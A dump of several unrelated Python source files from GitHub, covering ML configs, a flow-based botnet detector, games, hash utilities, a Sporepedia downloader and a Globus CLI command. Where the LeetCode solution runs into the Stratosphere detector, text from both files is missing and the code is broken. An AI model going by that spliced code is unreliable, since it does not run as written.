\"target_sd\": None,\n }\n self.times = {\n \"init_time\": datetime.now(),\n \"end_time\": None,\n \"preprocess_hrs\": None,\n \"train_hrs\": None,\n \"eval_hrs\": None,\n \"total_hrs\": None,\n }\n if configs:\n self.read_dict(configs)\n return\n\n def to_dict(self, inner_dict=None):\n config_vars = vars(self).copy() if inner_dict is None else inner_dict.copy()\n for k, v in config_vars.items():\n if isinstance(v, dict):\n config_vars.update({k: self.to_dict(inner_dict=v)})\n elif isinstance(v, np.ndarray):\n config_vars.update({k: v.tolist()})\n elif not isinstance(v, (str, int, float, list)):\n config_vars.update({k: str(v)})\n return config_vars\n\n def read_dict(self, configs: dict):\n class_mapping = {\n \"\": torch.optim.Adam,\n \"Adam\": torch.optim.Adam,\n \"\": torch.nn.L1Loss,\n \"L1Loss\": torch.nn.L1Loss,\n \"\": torch.nn.MSELoss,\n \"\": MAPELoss,\n \"\": L1Loss,\n \"\": torch.nn.ReLU,\n \"ReLU\": torch.nn.ReLU,\n }\n input_config_keys = configs.keys()\n loaded_config = vars(self)\n added_keys = loaded_config.keys() - input_config_keys\n for key in added_keys:\n loaded_config[key] = False\n for k, v in configs.items():\n if k == \"device\":\n loaded_config[k] = torch.device(v)\n elif k in [\"optimizer\", \"loss_func\", \"activation\"]:\n loaded_config[k] = class_mapping[v]\n elif k in [\"times\"]:\n pass\n elif k in loaded_config.keys():\n loaded_config[k] = v\n else:\n loaded_config.update({k: v})\n\n\nclass ModelConfigurationPSA(ModelConfiguration):\n def __init__(self, configs=None):\n super().__init__(configs)\n self.PSA = True\n\n # overwrite config using PSA model config\n self.MODE = \"FULL_SET\"\n self.global_cleansing = False\n self.trainset = \"20211005131911/inference_output/train\"\n self.testset = \"20211005131911/inference_output/test\"\n self.file_name = (\n \"processed_debug_set.pickle\"\n if self.MODE == \"DEBUG\"\n else \"processed_fullset.pickle\"\n )\n self.valid_num_months = 1\n\n self.add_next_port_indicator = False\n self.seq_features.remove(\n \"is_next_port\"\n ) if \"is_next_port\" in self.seq_features else None\n self.con_features.remove(\n \"time_after_atp\"\n ) if \"time_after_atp\" in self.con_features else None\n self.con_features.remove(\n \"seq_length\"\n ) if \"seq_length\" in self.con_features else None\n\n self.ais_sequence = \"latest ais only\"\n self.max_sequence_length = 1\n self.batch_size = 16\n self.lr = 0.001\n self.epoch = 5\n self.step_freq = 4\n self.patience = 20\n\n self.fc_cat_out = [32, 16]\n\n\nclass ModelConfigurationKeeLung(ModelConfiguration):\n def __init__(self, configs=None):\n super().__init__(configs)\n self.keelung = True\n # overwrite config using Keelung model config\n self.MODE = \"FULL_SET\"\n self.global_cleansing = False\n self.trainset = \"20211101114526/inference_output/train\"\n self.testset = \"20211101114526/inference_output/test\"\n self.file_name = (\n \"processed_debug_set.pickle\"\n if self.MODE == \"DEBUG\"\n else \"processed_fullset.pickle\"\n )\n self.valid_num_months = 1\n\n self.add_next_port_indicator = False\n self.seq_features.remove(\n \"is_next_port\"\n ) if \"is_next_port\" in self.seq_features else None\n self.con_features.remove(\n \"time_after_atp\"\n ) if \"time_after_atp\" in self.con_features else None\n\n self.ais_sequence = [\"previous ais\", \"latest ais only\", \"duplicate latest ais\"][\n 0\n ] # temp fix to use duplicate latest ais for PROD to avoid AIS cache issue\n self.max_diff_in_hour = 5\n self.continuous_low_speed_times = 3\n self.speed_lower_bound = 4\n self.departure_speed_threshold = 6\n self.batch_size = 1024\n self.lr = 0.005\n self.epoch = 5\n self.step_freq = 4\n self.patience = 20\n\n\nclass WaitingTimeModelConfiguration(ModelConfiguration):\n def __init__(self, configs=None):\n super().__init__(configs)\n\n self.global_cleansing = True\n self.apply_waiting_time_feature = True\n self.waiting_time_pred_only = False\n self.data_folder = \"20220506031713\"\n self.waiting_time_data_path = (\n os.path.join(\n os.environ.get(\"GVVMC_HOME\"),\n \"data\",\n \"a5_raw_data\",\n self.data_folder,\n \"inference_output\",\n \"port_pair_vsl_date_waiting_stats.csv\",\n )\n if os.environ.get(\"GVVMC_HOME\")\n else None\n )\n\n # overwrite config using waiting time model config\n self.trainset = os.path.join(self.data_folder, \"inference_output\", \"train\")\n self.testset = os.path.join(self.data_folder, \"inference_output\", \"test\")\n\n self.batch_size = 8192 * 2\n self.lr = 0.005\n self.dropout_rate = 0.5\n self.epoch = 20\n self.step_freq = 100\n self.patience = 20\n self.loss_func = L1Loss if self.waiting_time_pred_only else MAPELoss\n self.ais_sequence = \"previous ais\"\n\n self.con_waiting_time_features = [\n \"prev_n_waiting_hrs_mean\",\n # \"not_berth_waiting_hrs_mean\",\n ]\n self.con_features += (\n self.con_waiting_time_features if self.apply_waiting_time_feature else []\n )\n\n self.target = (\n [\"y_actual_berth\"]\n if self.waiting_time_pred_only\n else [\"y_actual_pilot\", \"y_actual_berth\"]\n )\n\n self.fc_out = [64, 32, len(self.target)]\n self.meta.update(\n {\n \"waiting_time_fea_group_col\": [\n \"time_seen_date\",\n \"prev_unlocode\",\n \"dest_unlocode\",\n \"is_large_vsl\",\n ],\n \"act_cols\": self.target.copy(),\n \"pred_cols\": [y.replace(\"y_actual\", \"y_pred\") for y in self.target],\n \"abs_error_cols\": [\n y.replace(\"y_actual\", \"abs_error\") for y in self.target\n ],\n \"is_evaluate_cols\": [\n y.replace(\"y_actual\", \"is_evaluate\") for y in self.target\n ],\n \"weight_cols\": [y.replace(\"y_actual\", \"weight\") for y in self.target],\n }\n )\n self.past_n_days_to_cal_waiting = 14\n","repo_name":"tylin-career/PredVessel_Demo","sub_path":"cseta/models/nn/model_config.py","file_name":"model_config.py","file_ext":"py","file_size_in_byte":14496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"72847649060","text":"class Solution:\n def maxArea(self, height):\n \"\"\"\n :type height: List[int]\n :rtype: int\n \"\"\"\n start,end = 0, len(height)-1\n best = 0\n while start 5:\n break\n self.read_from_queue()\n time.sleep(1)\n self.number_of_trying += 1\n\n StratosphereOutput.show('Finish.', 1)\n\n def read_from_queue(self):\n time.sleep(1)\n while True:\n if flow_queue.empty() is False:\n # varible for ending this process. If it is bigger then 3, so this process will be finished.\n # So here, when queue is not empty we will put this to 0 again.\n self.number_of_trying = 0\n # Get fow from queue\n flow = flow_queue.get()\n\n # In each binetflow file first line is describtion\n if 'StartTime' in flow:\n continue\n\n split = flow.split(',')\n # Tuple: SRC IP, DST IP, DST PORT, PROTOCOL\n tuple_index = split[3], split[6], split[7], split[2]\n\n # The variable \"current_flow_time\" is time from this new flow.\n current_flow_time = datetime.datetime.strptime(split[0], '%Y/%m/%d %H:%M:%S.%f')\n\n if self.first_flow_in_time_window is not None:\n\n time_difference = (current_flow_time - self.first_flow_in_time_window).seconds\n\n if time_difference >= __StratosphereConfig__.get_int_time_windows_length():\n\n self.print_time_window(last_flow_in_time_window)\n\n for i in self.tuples_dict:\n # The Function return labels: \"Normal\" or \"Botnet\" or \"Attack\" or \"Malware\".\n # Right current_flow_time we are not using the detected variable. Maybe we should in the future.\n # print 'prd', self.tuples_dict[i].state\n (detected, label, matching_len) = StratosphereDetector.detect(self.tuples_dict[i])\n\n # The label is False, when the detector has a little information\n if label is not False:\n ip = self.tuples_dict[i].tuple[0]\n label_state = label\n # Add the label to IP address dictionary.\n if self.ips_dict.has_key(ip):\n label_state = self.ips_dict[ip] + label\n self.ips_dict[ip] = label_state + ';'\n\n # check if we recognize malicious\n state = self.tuples_dict[i].state\n # matching_len gives number from all letters in label, you should count like this:\n # 11,a,a,a,a,a,a ... so here one letter is 1 and 1, and a, a, so on and it is same\n self.check_malicious(ip, label_state + ';', state, str(len(state.split(','))))\n\n # check lengths of tuple state\n self.check_tuple_size()\n # set new time\n self.first_flow_in_time_window = current_flow_time\n\n else:\n self.first_flow_in_time_window = current_flow_time\n\n # Add flow to exist tuple object or crete new tuple object and add flow.\n if tuple_index in self.tuples_dict.keys():\n self.tuples_dict[tuple_index].add_flow(flow)\n else:\n self.tuples_dict[tuple_index] = StratosphereTuple.Tuple([split[3], split[6], split[7], split[2]], split[2]) # tuple, protocol, id\n self.tuples_dict[tuple_index].add_flow(flow)\n\n last_flow_in_time_window = current_flow_time\n\n else:\n StratosphereOutput.show('No data...', 2)\n break\n\n\n def print_time_window(self, last_flow_in_time_window):\n # PRINT START TIME, FINISH TIME AND LAST FLOW Of WINDOW TIME\n StratosphereOutput.show('Time_window started: ' + str(self.first_flow_in_time_window) + ' Finished: ' + str(self.first_flow_in_time_window + datetime.timedelta(seconds =__StratosphereConfig__.get_int_time_windows_length()))\n + ' Last flow: ' + str(last_flow_in_time_window), 1)\n StratosphereOutput.show('=============================================================================', 1)\n\n StratosphereOutput.log('Time_window started: ' + str(self.first_flow_in_time_window) + ' Finished: ' + str(self.first_flow_in_time_window + datetime.timedelta(seconds =__StratosphereConfig__.get_int_time_windows_length()))\n + ' Last flow: ' + str(last_flow_in_time_window))\n StratosphereOutput.log('==============================================================================')\n\n def check_malicious(self, ip, labels, state, len_of_state):\n split = labels.split(';')\n normal = 0\n malicious = 0\n for j in range(len(split)-1):\n # Compare labels and decide, if we find malicious.\n temp_label = split[j]\n # To lower cases.\n temp_label_lower = temp_label.lower()\n if 'normal' in temp_label_lower:\n normal += 1\n elif 'botnet' in temp_label_lower or 'attack' in temp_label_lower or 'malware' in temp_label_lower:\n malicious += 1\n\n if normal >= malicious:\n self.resolve(False, ip, labels, state, len_of_state, 'Detected as normal. -> IP: ')\n\n elif normal < malicious:\n self.resolve(True, ip, labels, state, len_of_state, 'Threat was detected!. -> IP: ')\n\n def check_tuple_size(self):\n for i in self.tuples_dict:\n if self.tuples_dict[i].get_len_list() > __StratosphereConfig__.get_int_length_of_state():\n self.tuples_dict[i].set_state('')\n self.tuples_dict[i].set_list()\n self.tuples_dict[i].set_times()\n\n # Resolve the result about malicious or not.\n def resolve(self, is_malicious, i, labels, state, len, text):\n if is_malicious or __StratosphereConfig__.get_bool_print_all_labels():\n StratosphereOutput.show(text + i + ' -> tuple(' + len + '): ' + state + ' -> ' + labels, 1)\n StratosphereOutput.show('=============================================================================', 1)\n StratosphereOutput.log(text + i + ' -> tuple(' + len + '): ' + state + ' -> ' + labels)\n StratosphereOutput.log('==============================================================================')\n\n # This function is temporary just for printing\n # the information about tuples and ips and their labels.\n def save_to_file(self):\n f = open('test_TupleFile', 'w')\n for i in self.tuples_dict:\n # StratosphereOutput.show(('[%s]: %s' % (', '.join(map(str, i)), tuples_dict[i].state)), 3)\n f.write(('[%s]: %s' % (', '.join(map(str, i)), self.tuples_dict[i].state) + '\\n'))\n f.close()\n\n f = open('test_IPsFile', 'w')\n for i in self.ips_dict:\n # StratosphereOutput.show(i + ' -> ' + ips_dict[i], 3)\n f.write(i + ' -> ' + self.ips_dict[i] + '\\n')\n f.close()\n\n\nif __name__ == \"__main__\":\n\n t2 = ThreadQuene()\n t2.start()\n\n StratosphereOutput.log('Reading flows from Queue.')\n\n while True:\n # Take line from stdin and put line to flow_queue, one line is one flow\n line = sys.stdin.readline()\n if not line:\n break\n flow_queue.put(line)","repo_name":"stratosphereips/StratosphereWindowsIps","sub_path":"StratosphereFlow.py","file_name":"StratosphereFlow.py","file_ext":"py","file_size_in_byte":8250,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"35"} +{"seq_id":"479614314","text":"#Welcome to Tic-Tac-Toe, a simple game in which two players\n#take turns marking up a 3x3 grid with \"X\" or \"O\". The winner is the player\n#who succesfully creates a row with their symbol. the game ends in a draw when all\n#nine spaces have been filled without a matching row of symbols.\n#This code was made by Carter Raymond for CSE210\n\nimport os\n\nSymbol_Input_List=[1,2,3,4,5,6,7,8,9]\ndef main():\n print(\"Hello and welcome to Tic-Tac-Toe, \\n Lets Get Started!\")\n while True:\n clear()\n create_board(Symbol_Input_List)\n player_one_move(Symbol_Input_List)\n if check_for_winner(Symbol_Input_List) or is_draw(Symbol_Input_List):\n clear()\n create_board(Symbol_Input_List)\n break\n clear()\n create_board(Symbol_Input_List)\n player_two_move(Symbol_Input_List)\n if check_for_winner(Symbol_Input_List) or is_draw(Symbol_Input_List):\n clear()\n create_board(Symbol_Input_List)\n break\n if check_for_winner(Symbol_Input_List):\n print(\"Congrats on winning\")\n elif is_draw:\n print(\"No winner this time\")\n else:\n print(\"Game undecided\")\n \n \n\n \n\n\n\n\n\ndef clear():\n os.system(\"cls\")\n\n\ndef create_board(Symbol_Input_List):\n SIL=Symbol_Input_List\n a=SIL[0]\n b=SIL[1]\n c=SIL[2]\n d=SIL[3]\n e=SIL[4]\n f=SIL[5]\n g=SIL[6]\n h=SIL[7]\n i=SIL[8]\n \n print(f\"{a} | {b} | {c}\")\n print(\"--+---+--\")\n print(f\"{d} | {e} | {f}\")\n print(\"--+---+--\")\n print(f\"{g} | {h} | {i}\")\n\n\ndef player_one_move(Symbol_Input_List):\n i=0\n while i==0:\n try:\n player1_symbol=int(input(\"\\nPlayer ONE, where do you want to place an X? (enter 1-9): \"))\n if Symbol_Input_List[player1_symbol-1]==\"O\":\n print(\"Player TWO has already chosen this space, try again\")\n continue\n if Symbol_Input_List[player1_symbol-1]==\"X\":\n print(\"You have already chosen this space, try again\")\n continue\n if player1_symbol<=0:\n print(\"That does not match a number, try again\")\n continue\n except IndexError:\n print(\"That does not match a number, try again\")\n continue\n except ValueError:\n print(\"That does not match a number, try again\")\n continue\n except TypeError:\n print(\"That does not match a number, try again\")\n continue\n i+=1\n Symbol_Input_List[player1_symbol-1]=\"X\"\n \n \ndef player_two_move(Symbol_Input_List):\n i=0\n while i==0:\n try:\n player2_symbol=int(input(\"\\nPlayer TWO, where do you want to place an O? (enter 1-9): \"))\n if Symbol_Input_List[player2_symbol-1]==\"X\":\n print(\"Player ONE has already chosen this space, try again\")\n continue\n if Symbol_Input_List[player2_symbol-1]==\"O\":\n print(\"You already chosen this space, try again\")\n continue\n if player2_symbol<=0:\n print(\"That does not match a number, try again\")\n continue\n except IndexError:\n print(\"That does not match a number, try again\")\n continue\n except ValueError:\n print(\"That does not match a number, try again\")\n continue\n except TypeError:\n print(\"That does not match a number, try again\")\n continue\n i+=1\n Symbol_Input_List[int(player2_symbol-1)]=\"O\"\n\ndef check_for_winner(Symbol_Input_List):\n SIL=Symbol_Input_List\n a=SIL[0]\n b=SIL[1]\n c=SIL[2]\n d=SIL[3]\n e=SIL[4]\n f=SIL[5]\n g=SIL[6]\n h=SIL[7]\n i=SIL[8]\n return(a == b == c or\n d == e == f or\n g == h == i or\n a == d == g or\n b == e == h or\n c == f == i or\n a == e == i or\n c == e == g)\n \n \ndef is_draw(Symbol_Input_List):\n SIL=Symbol_Input_List\n a=SIL[0]\n b=SIL[1]\n c=SIL[2]\n d=SIL[3]\n e=SIL[4]\n f=SIL[5]\n g=SIL[6]\n h=SIL[7]\n i=SIL[8]\n return(a!=1 and b!=2 and c!=3 and d!=4 and e!=5 and f!=6 and g!=7 and h!=8 and i!=9)\n \n \n \n \nif __name__ == \"__main__\":\n main()","repo_name":"carteraymond/cse210-01","sub_path":"tic-tac-toe.py","file_name":"tic-tac-toe.py","file_ext":"py","file_size_in_byte":4302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"440194972","text":"from time import *\n\nHASH_EXP = 17\nMOD = 2**HASH_EXP - 1\n#BASE = 4\nBASE = 5\nBASE = 6\n#BASE = 7\n#ALPHABET_VALUES = {\"A\":0, \"G\":1 , \"C\":2, \"T\":3} sign(AACT) = sign(CT)\nALPHABET_VALUES = {\"A\":1, \"G\":2 , \"C\":3, \"T\":4}\nALPHABET_VALUES = {\"A\":1, \"G\":2 , \"C\":3, \"T\":4, \"N\":5}\n#ALPHABET_VALUES = {\"A\":1, \"G\":2 , \"C\":3, \"T\":4, \"N\":5, \"D\":6}\nPREFIX = 0\nSUFFIX = 1\n\n# General method for calculating hash values of prefixes/suffixes\ndef CalcHashValues(strindex, string, minoverlap, side, signatures, m, b = BASE):\n if (side == PREFIX):\n return CalcPrefixValues(strindex, string, minoverlap, signatures, m, b)\n elif (side == SUFFIX):\n return CalcSuffixValues(strindex, string, minoverlap, signatures, m, b)\n else:\n assert(false)\n \n# Methods using regular (non incremental) hash function\ndef CalcHPrefixValues(strindex, string, minoverlap):\n results = []\n for index in range(minoverlap, len(string), 1):\n results.append(hash(string[:index]))\n return results\n\ndef CalcHSuffixValues(strindex, string, minoverlap):\n results = []\n for index in range(minoverlap, len(string), 1):\n results.append(hash(string[-index:]))\n return results\n\ndef CalcKRValue(string, m, b=BASE):\n result = 0\n l = len(string)\n for index in range(len(string)):\n result = (result + (ALPHABET_VALUES[string[index]] * (b ** (l-index-1)))) % m\n return result\n \n# Methods using incremental hash function\ndef CalcPrefixValues(strindex, string, minoverlap, signatures, m, b):\n results = []\n temp = 0\n minimalsize = minoverlap - 1\n length = len(string)\n for index in range(length):\n current = ALPHABET_VALUES[string[index]]\n temp = ((temp * b) + current) % m\n if (index >= minimalsize):\n if (index < length - 1):\n results.append(temp)\n else:\n if (signatures != None):\n signatures[temp] = signatures.get(temp, set())\n signatures[temp].add(strindex)\n return results\n\ndef CalcSuffixValues(strindex, string, minoverlap, signatures, m, b):\n results = []\n temp = 0\n exp = 1\n minimalsize = minoverlap - 1\n for index in range(len(string) - 1):\n current = ALPHABET_VALUES[string[-(index+1)]]\n temp = ((exp * current) + temp) % m\n exp = (exp * b) % m\n if (index >= minimalsize):\n results.append(temp)\n return results\n\n# Extending incremental hash functions\n# An incremental hash is necessary here to have no need in underlying string.\n# Return value of the method is a mapping of extending symbols to hash values.\ndef ExtendKR(value, multiplier, side, m, b = BASE):\n if (side == PREFIX):\n return ExtendKRLeft(value, multiplier, m, b)\n elif (side == SUFFIX):\n return ExtendKRRight(value, multiplier, m, b)\n else:\n assert(false)\n \ndef ExtendKRRight(value, multiplier, m, b):\n extensions = dict()\n temp = (value * b) % m\n for symbol in ALPHABET_VALUES.keys():\n tempValue = ((temp + ALPHABET_VALUES[symbol]) % m)\n extensions[symbol] = tempValue\n return extensions\n\ndef ExtendKRLeft(value, multiplier, m, b):\n extensions = dict() \n for symbol in ALPHABET_VALUES.keys():\n tempValue = ((multiplier * ALPHABET_VALUES[symbol] + value) % m)\n extensions[symbol] = tempValue \n return extensions\n\ndef VerifyOverlap(left, right, mo):\n for index in range(mo, min(len(left), len(right))):\n if (left[-index:] == right[:index]):\n return True\n return False\n\ndef VerifyCertainOverlap(left, right, overlap, extensionLength, overlaper):\n t1 = clock()\n if (overlap + extensionLength != len(right)):\n t2 = clock()\n #overlaper.vtimer += (t2-t1)\n #overlaper.vc += 1\n overlaper.falseVerLength += 1\n return False\n if (left[-overlap:] == right or right[:overlap] == left):\n print (\"Containment!\")\n t2 = clock()\n overlaper.vtimer += (t2-t1) \n overlaper.vc += 1\n overlaper.falseVerBases += 1\n return False\n temp = 0\n length = len(left)\n for index in range(overlap):\n temp += 1\n if (left[length-overlap+index] != right[index]):\n t2 = clock()\n overlaper.vtimer += (t2-t1) \n overlaper.vc += 1\n overlaper.falseVerBases += 1\n overlaper.checkedbases += temp\n return False\n t2 = clock()\n overlaper.vtimer += (t2-t1)\n overlaper.trueVer += 1\n return True \n\n\ndef IsInnerCollision(strindex, string, minoverlap, signatures, m, b):\n prefixes = CalcPrefixValues(strindex, string, minoverlap, signatures, m, b)\n for val in signatures:\n if val in prefixes:\n return True\n return False\n\ndef InterCollisions(reads, minoverlap, m, b):\n signatures = {}\n for index in range(len(reads)):\n CalcPrefixValues(index, reads[index], minoverlap, signatures, m, b)\n s = {}\n for index in range(len(reads)):\n prefixes = CalcPrefixValues(index, reads[index], minoverlap, s, m, b) \n for prefix in prefixes:\n if prefix in signatures:\n others = signatures[prefix]\n for other in others:\n overlap = 0\n for os in range(minoverlap, 51):\n if (reads[index][:os] == reads[other][:os]):\n overlap = os\n if overlap > 0:\n print (\"Inter Collision\", index, other, overlap)\n \n \n \ns1 = \"AGTTGACGTA\"\ns2 = \"AAGCTGTTTT\"\nt1 = clock()\nfor index in range(1):\n res = CalcSuffixValues(0, s1, 15, {}, MOD, BASE)\nt2 = clock()\n#print (t2-t1)\n#print (CalcPrefixValues(0, s1, 2, {}, 2 ** 29 - 1, 6))\n#print (CalcPrefixValues(1, s2, 2, {}, 2 ** 29 - 1, 6))\n#print (CalcSuffixValues(0, s1, 2, {}, 2 ** 29 - 1, 6))\n#print (CalcSuffixValues(1, s2, 2, {}, 2 ** 29 - 1, 6))\n","repo_name":"chansigit/modCR","sub_path":"Utils/HashUtils.py","file_name":"HashUtils.py","file_ext":"py","file_size_in_byte":5986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"17141619607","text":"from new_ann import run_ann\nfrom process_file import process_new_file\nfrom process_data import pickle_data\nimport os\n\n\ntrial_num = 7\n# folders = ['anns', 'confusion', 'loss', 'output']\n# print('creating folders\\n')\n# for folder in folders:\n# dirName = 'trials' + str(trial_num) + '/' + folder\n# # Create target directory & all intermediate directories if don't exists\n# os.makedirs(dirName)\n\n# if you are testing the ann, run this\nnum_units = 6\nnum_hidden_layers = 1\nnum_epochs = 30\nbatch_size = 128\ntest_train_split = .4\nwhile num_units <= 100:\n # while num_hidden_layers <= 5:\n # while num_epochs <= 50:\n while batch_size <= 400:\n run_ann('pickle','mean_sd', num_units, num_hidden_layers, num_epochs, batch_size, test_train_split, trial_num)\n batch_size += 100\n # num_epochs += 20\n batch_size = 128\n # num_hidden_layers += 2\n # num_epochs = 10\n num_units += 20\n # num_hidden_layers = 1\n# run_ann('pickle','mean_sd', num_units, num_hidden_layers, num_epochs, batch_size, test_train_split, trial_num)\n\n# if you are using an ANN to process a new file, use this\n# file_name = 'track2'\n# path = 'C:\\\\Users\\\\rjoyh\\\\Desktop\\\\machine learning\\\\trials' + str(trial_num) + '\\\\anns\\\\'\n# sub_path = 'trials' + str(trial_num) + '\\\\anns\\\\'\n# files = []\n# # r=root, d=directories, f = files\n# for r, d, f in os.walk(path):\n# for file in f:\n# if '.h5' in file:\n# files.append(file)\n#\n# for f in files:\n# process_new_file(file_name, sub_path + f, trial_num)\n\n# if you have new data, run this\n# pickle_data('mean_sd',62)\n","repo_name":"rjoyhanna/CEE_Audio_Analysis_ANN","sub_path":"Old/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20999423811","text":"#!/bin/python3\nimport os\nimport argparse\nimport requests\nimport re\nimport json\nimport time\n\nparser = argparse.ArgumentParser(description='Downloads random creations from Sporepedia over and over until you are satisfied.')\nparser.add_argument('-d', '--dir', type=str, help='Directory path to where you want to save the downloaded creations at.')\nparser.add_argument('-a', '--amount', type=int, default=10000000, help='Amount of creations to download before stopping.')\nargs = parser.parse_args()\n\nif (not isinstance(args.dir, str)):\n print(\"Please specify the directory you want images to save to (-d)\")\n exit()\nelse:\n if (not os.path.exists(args.dir)):\n print(\"The specified directory (-d) doesn't exist.\")\n exit()\n\nprint(f'Program will stop when interrupted or after {args.amount} random creations have downloaded.')\n\napi_url = 'http://www.spore.com/jsserv/call/plaincall/assetService.listAssets.dwr'\nstatic_img_url = 'http://static.spore.com/static/thumb'\ncookie_jar = requests.cookies.RequestsCookieJar()\nbatch_size = 1000\ntimeout_secs = 5\ndownloads = 0\nhttp_session_id = None\nscript_session_id = None\n\nwhile True:\n request_data = {\n 'callCount': 1,\n 'c0-scriptName': 'assetService',\n 'c0-methodName': 'listAssets',\n 'c0-id': 0,\n 'c0-e1': 'string:RANDOM',\n 'c0-e2': 'number:0',\n 'c0-e3': f'number:{batch_size}',\n 'c0-param0': 'Object_Object:{view:reference:c0-e1, index:reference:c0-e2, count:reference:c0-e3}',\n 'batchId': 6\n }\n\n cookie_list = list(cookie_jar.items())\n if (len(cookie_list) >= 2):\n http_session_id = cookie_list[0][1]\n script_session_id = cookie_list[0][1]\n \n request_data['httpSessionId'] = http_session_id\n request_data['scriptSessionId'] = script_session_id\n \n try:\n response = requests.post(\n api_url, \n data = request_data, \n headers = { 'Content-Type': 'text/javascript;charset=utf-8' },\n cookies = cookie_jar\n )\n\n cookie_jar = response.cookies\n \n # Extract keys and values from the API's DWR response and assemble it into an easily parseable array:\n dwr_response_segments = response.text.split(';')\n dwr_data = {}\n dwr_last_element_data = {}\n dwr_last_element_id = None\n for i in range(0, len(dwr_response_segments), 1):\n key_value_pairs = dwr_response_segments[i].split('=')\n if (len(key_value_pairs) >= 2):\n key = key_value_pairs[0]\n value = key_value_pairs[1]\n element_id_match = re.search('([a-z][0-9]*\\.)', key)\n if (element_id_match):\n element_id = element_id_match.group()\n key = key.replace(element_id_match.group(), '')\n \n # Check if we've iterated to a new item and act accordingly\n if (element_id != dwr_last_element_id):\n if ('id' in dwr_last_element_data):\n dwr_data[dwr_last_element_data['id']] = dwr_last_element_data\n \n dwr_last_element_id = element_id\n dwr_last_element_data = {}\n else:\n dwr_last_element_data[key] = value\n \n # Print and download each creation:\n for id, data in dwr_data.items():\n if ('avatarImage' in data):\n image_pattern = re.compile(r'(thumb)')\n image_match = image_pattern.search(data['avatarImage'])\n if (image_match):\n # Format avatarImage into a valid downloadable image\n image = data['avatarImage'].replace(image_match.group(), '').replace('\\\\', '').replace('\\\"', '')\n image_extension_match = re.search(r'(\\.[A-z]*)$', image)\n if (image_extension_match):\n image_extension = image_extension_match.group()\n #image = image.replace(image_extension, f'_lrg{image_extension}')\n image_url = static_img_url + image\n print(json.dumps(data, indent=4))\n print(f'Downloading {image_url}')\n if (downloads >= args.amount):\n print(f'Finished downloading {args.amount} creations.')\n exit()\n\n image_destination = f'{args.dir}/{id}{image_extension}'\n if (not os.path.exists(image_destination)):\n try:\n image_response = requests.get(image_url)\n if (image_response.ok):\n with open(image_destination, 'wb') as fd:\n for chunk in image_response.iter_content(chunk_size=128):\n fd.write(chunk)\n \n downloads += 1\n time.sleep(0.5)\n except Exception as err:\n print(f'There was an error downloading that. - {err}')\n time.sleep(0.5)\n else:\n print(f'{image_destination} already exists.')\n except Exception as err:\n print(f'Error trying to fetch creations from the Sporepedia API. - {err}')\n \n time.sleep(timeout_secs)\n","repo_name":"Ethorbit/Sporepedia-Batch-Downloader","sub_path":"spore_random_creation_dl.py","file_name":"spore_random_creation_dl.py","file_ext":"py","file_size_in_byte":5629,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"24747624166","text":"from typing import Tuple\n\nimport click\n\nfrom globus_cli.login_manager import LoginManager\nfrom globus_cli.parsing import command, no_local_server_option\n\n\n@command(\n \"consent\",\n short_help=\"Update your session with specific consents\",\n disable_options=[\"format\", \"map_http_status\"],\n)\n@no_local_server_option\n@click.argument(\"SCOPES\", nargs=-1, required=True)\ndef session_consent(scopes: Tuple[str], no_local_server: bool) -> None:\n \"\"\"\n Update your current CLI auth session by authenticating with a specific scope or set\n of scopes.\n\n This command is necessary when the CLI needs access to resources which require the\n user to explicitly consent to access.\n \"\"\"\n manager = LoginManager()\n manager.run_login_flow(\n no_local_server=no_local_server,\n local_server_message=(\n \"You are running 'globus session consent', \"\n \"which should automatically open a browser window for you to \"\n \"authenticate with specific identities.\\n\"\n \"If this fails or you experience difficulty, try \"\n \"'globus session consent --no-local-server'\"\n \"\\n---\"\n ),\n epilog=\"\\nYou have successfully updated your CLI session.\\n\",\n scopes=list(scopes),\n )\n","repo_name":"sirosen/temp-cli-test","sub_path":"src/globus_cli/commands/session/consent.py","file_name":"consent.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35319773430","text":"def prim(n):\r\n if n % 2 == 0:\r\n return False\r\n for i in range(3, int(n ** 0.5), 2):\r\n if n % i == 0:\r\n return False\r\n\r\n return True\r\nnumber = int(input(\"The number is: \"))\r\nif prim(number):\r\n print(\"Is prime number\")\r\nelse:\r\n print(\"Isn't prime number\")","repo_name":"becomingtrinity/Teme-Python","sub_path":"Seminar_4/4.1..py","file_name":"4.1..py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"12901195034","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Dec 8 23:17:48 2019\r\n\r\n@author: Kryzha Lei Aguilar\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\ndef problem1(n):\r\n if (n>=0) and (n<=9):\r\n return (n**2) - 7\r\n elif n >= 10:\r\n return problem1(n-10)\r\n else:\r\n return;\r\n\r\nx = np.arange(100)\r\ny = []\r\nfor num in x:\r\n y.append(problem1(num))\r\n\r\nplt.stem(x,y, use_line_collection = True) \r\nplt.show()","repo_name":"kryzhalei/Python-1","sub_path":"PYTHON - Machine Problem 1.py","file_name":"PYTHON - Machine Problem 1.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"6699784712","text":"import random\n\nrand_num = random.randint(1, 100)\nprint('Добро пожаловать в числовую угадайку')\n\ndef is_valid(num):\n flag = False\n if num.isdigit() and int(num) in range(1, 101):\n flag = True\n return flag\n\nwhile True:\n num_inp = input('Введите число от 1 до 100: ')\n if is_valid(num_inp):\n num = int(num_inp)\n if num < rand_num:\n print('Ваше число меньше заданного, попробуйте еще разок')\n elif num > rand_num:\n print('Ваше число больше заданного, попробуйте еще разок')\n else:\n print('Вы угадали, поздравляем!')\n print('Хотите еще раз сыграть? Введите \"да\" или \"нет\"')\n if input().lower() 